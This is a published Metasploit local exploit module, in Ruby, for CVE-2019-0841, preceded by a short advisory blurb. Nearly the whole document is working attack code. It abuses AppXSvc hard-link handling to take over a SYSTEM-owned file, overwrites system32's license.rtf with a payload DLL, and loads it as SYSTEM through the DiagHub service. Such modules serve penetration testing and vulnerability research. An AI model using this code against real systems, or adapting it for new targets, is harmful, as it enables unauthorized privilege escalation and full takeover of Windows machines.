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AppXSvc Hard Link Privilege Escalation

AppXSvc Hard Link Privilege Escalation
Posted Jul 15, 2019
Authored by James Forshaw, Nabeel Ahmed, Shelby Pace | Site metasploit.com

There exists a privilege escalation vulnerability for Windows 10 builds prior to build 17763. Due to the AppXSvc's improper handling of hard links, a user can gain full privileges over a SYSTEM-owned file. The user can then utilize the new file to execute code as SYSTEM. This Metasploit module employs a technique using the Diagnostics Hub Standard Collector Service (DiagHub) which was discovered by James Forshaw to load and execute a DLL as SYSTEM.

tags | exploit
systems | windows
advisories | CVE-2019-0841
MD5 | c94395650cca2e92c0d550946f0e7a22

AppXSvc Hard Link Privilege Escalation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Post::Windows::FileInfo
include Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'AppXSvc Hard Link Privilege Escalation',
'Description' => %q(
There exists a privilege escalation vulnerability for
Windows 10 builds prior to build 17763. Due to the AppXSvc's
improper handling of hard links, a user can gain full
privileges over a SYSTEM-owned file. The user can then utilize
the new file to execute code as SYSTEM.

This module employs a technique using the Diagnostics Hub Standard
Collector Service (DiagHub) which was discovered by James Forshaw to
load and execute a DLL as SYSTEM.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Nabeel Ahmed', # Vulnerability discovery and PoC
'James Forshaw', # Code creating hard links and communicating with DiagHub service
'Shelby Pace' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-0841' ],
[ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],
[ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],
[ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],
[ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]
],
'Targets' =>
[
[ 'Windows 10', { 'Platform' => 'win' } ]
],
'DisclosureDate' => '2019-04-09',
'DefaultTarget' => 0
))
end

def check
return CheckCode::Unknown if sysinfo['OS'] !~ /windows\s10/i

path = expand_path('%WINDIR%\\system32\\win32k.sys')
major, minor, build, revision, brand = file_version(path)
return CheckCode::Appears if build < 17763

CheckCode::Detected
end

def upload_file(file_name, file_path)
contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))
write_file(file_path, contents)
register_file_for_cleanup(file_path)
rescue
fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')
end

def init_process
print_status("Attempting to launch Microsoft Edge minimized.")
cmd_exec("cmd.exe /c start /min microsoft-edge:", nil, 30)
end

def mk_hard_link(src, target, link_exe)
out = cmd_exec("cmd.exe /c #{link_exe} \"#{src}\" \"#{target}\"")

return (out && out.include?('Done'))
end

def write_payload
print_status('Writing the payload to disk')
code = generate_payload_dll
@original_data = read_file(@rtf_path)
write_file(@rtf_path, code)
end

def exploit
vuln_status = check
fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown

fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?
cmd_exec("taskkill /F /IM MicrosoftEdge.exe /FI \"STATUS eq RUNNING\"")
dat_path = expand_path("%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat")
fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)

if session.arch == ARCH_X86
exe_name = 'CVE-2019-0841_x86.exe'
f_name = 'diaghub_load_x86.exe'
elsif session.arch == ARCH_X64
exe_name = 'CVE-2019-0841_x64.exe'
f_name = 'diaghub_load_x64.exe'
end
link_file_name = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(6...8)}.exe")
upload_file(exe_name, link_file_name)

@rtf_path = expand_path('%WINDIR%\\system32\\license.rtf')
fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)
print_good('Successfully created hard link')
init_process
cmd_exec("taskkill /F /IM MicrosoftEdge.exe")

write_payload
diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}")
upload_file(f_name, diaghub_path)
cmd = "\"#{diaghub_path}\" \"license.rtf\""
cmd_exec(cmd)
end

def cleanup
folder_path = expand_path("%TEMP%\\etw")
dir_rm(folder_path)

write_file(@rtf_path, @original_data)
super
end
end
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